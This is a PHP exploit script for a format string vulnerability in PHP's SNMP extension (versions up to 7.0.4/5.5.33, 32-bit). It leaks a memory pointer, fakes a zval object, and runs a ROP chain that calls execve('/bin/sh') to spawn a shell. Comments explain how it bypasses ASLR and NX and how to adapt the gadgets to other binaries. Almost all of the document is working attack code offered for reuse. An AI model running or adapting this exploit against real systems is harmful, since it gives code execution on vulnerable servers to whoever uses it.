|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123  |  <?php // PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit) // By Andrew Kramer <andrew at jmpesp dot org> // Should bypass ASLR/NX just fine // This exploit utilizes PHP's internal "%Z" (zval) // format specifier in order to achieve code-execution. // We fake an object-type zval in memory and then bounce // through it carefully.First though, we use the same // bug to leak a pointer to the string itself.We can // then edit the global variable with correct pointers // before hitting it a second time to get EIP.This // makes it super reliable!Like... 100%. // To my knowledge this hasn't really been done before, but // credit to Stefan Esser (@i0n1c) for the original idea.It works! // https://twitter.com/i0n1c/status/664706994478161920 // All the ROP gadgets are from a binary I compiled myself. // If you want to use this yourself, you'll probably need // to build a new ROP chain and find new stack pivots for // whatever binary you're targeting.If you just want to get // EIP, change $stack_pivot_1 to 0x41414141 below. // pass-by-reference here so we keep things tidy function trigger(&$format_string) {  $session = new SNMP(SNMP::VERSION_3, "127.0.0.1", "public");  // you MUST set exceptions_enabled in order to trigger this  $session->exceptions_enabled = SNMP::ERRNO_ANY;  try {  $session->get($format_string);  } catch (SNMPException $e) {  return $e->getMessage();  } } // overwrite either $payload_{1,2} with $str at $offset function overwrite($which, $str, $offset) {  // these need to be global so PHP doesn't just copy them  global $payload_1, $payload_2;  // we MUST copy byte-by-byte so PHP doesn't realloc  for($c=0; $c<strlen($str); $c++) {  switch($which) {  case 1:  $payload_1[$offset + $c] = $str[$c];  break;  case 2:  $payload_2[$offset + $c] = $str[$c];  break;  }  } } echo "> Setting up payloads\n"; //$stack_pivot_1 = pack("L", 0x41414141); // Just get EIP, no exploit $stack_pivot_1 = pack("L", 0x0807c19f); // xchg esp ebx $stack_pivot_2 = pack("L", 0x0809740e); // add esp, 0x14 // this is used at first to leak the pointer to $payload_1 $leak_str = str_repeat("%d", 13) . $stack_pivot_2 . "Xw00t%lxw00t"; $trampoline_offset = strlen($leak_str); // used to leak a pointer and also to store ROP chain $payload_1 =  $leak_str . // leak a pointer  "XXXX" . // will be overwritten later  $stack_pivot_1 . // initial EIP (rop start)  // ROP: execve('/bin/sh',0,0)  pack("L", 0x080f0bb7) . // xor ecx, ecx; mov eax, ecx  pack("L", 0x0814491f) . // xchg edx, eax  pack("L", 0x0806266d) . // pop ebx  pack("L", 0x084891fd) . // pointer to /bin/sh  pack("L", 0x0807114c) . // pop eax  pack("L", 0xfffffff5) . // -11  pack("L", 0x081818de) . // neg eax  pack("L", 0x081b5faa); // int 0x80 // used to trigger the exploit once we've patched everything $payload_2 =  "XXXX" . // will be overwritten later  "XXXX" . // just padding, whatevs  "\x08X" . // zval type OBJECT  str_repeat("%d", 13) . "%Z"; // trigger the exploit // leak a pointer echo "> Attempting to leak a pointer\n"; $data = trigger($payload_1); $trampoline_ptr = (int)hexdec((explode("w00t", $data)[1])) + $trampoline_offset; echo "> Leaked pointer: 0x" . dechex($trampoline_ptr) . "\n"; // If there are any null bytes or percent signs in the pointer, it will break // the -0x10 will be applied later, so do it now too if(strpos(pack("L", $trampoline_ptr - 0x10), "\x00") !== false || strpos(pack("L", $trampoline_ptr - 0x10), "%") !== false) {  echo "> That pointer has a bad character in it\n";  echo "> This won't work.Bailing out... :(\n";  exit(0); } echo "> Overwriting payload with calculated offsets\n"; // prepare the trampoline // code looks kinda like... // mov eax, [eax+0x10] // mov eax, [eax+0x54] // call eax overwrite(2, pack("L", $trampoline_ptr - 0x10), 0); overwrite(1, pack("L", $trampoline_ptr - 0x54 + 4), $trampoline_offset); // exploit echo "> Attempting to pop a shell\n"; trigger($payload_2); // if we make it here, something didn't work echo "> Exploit failed :(\n";  |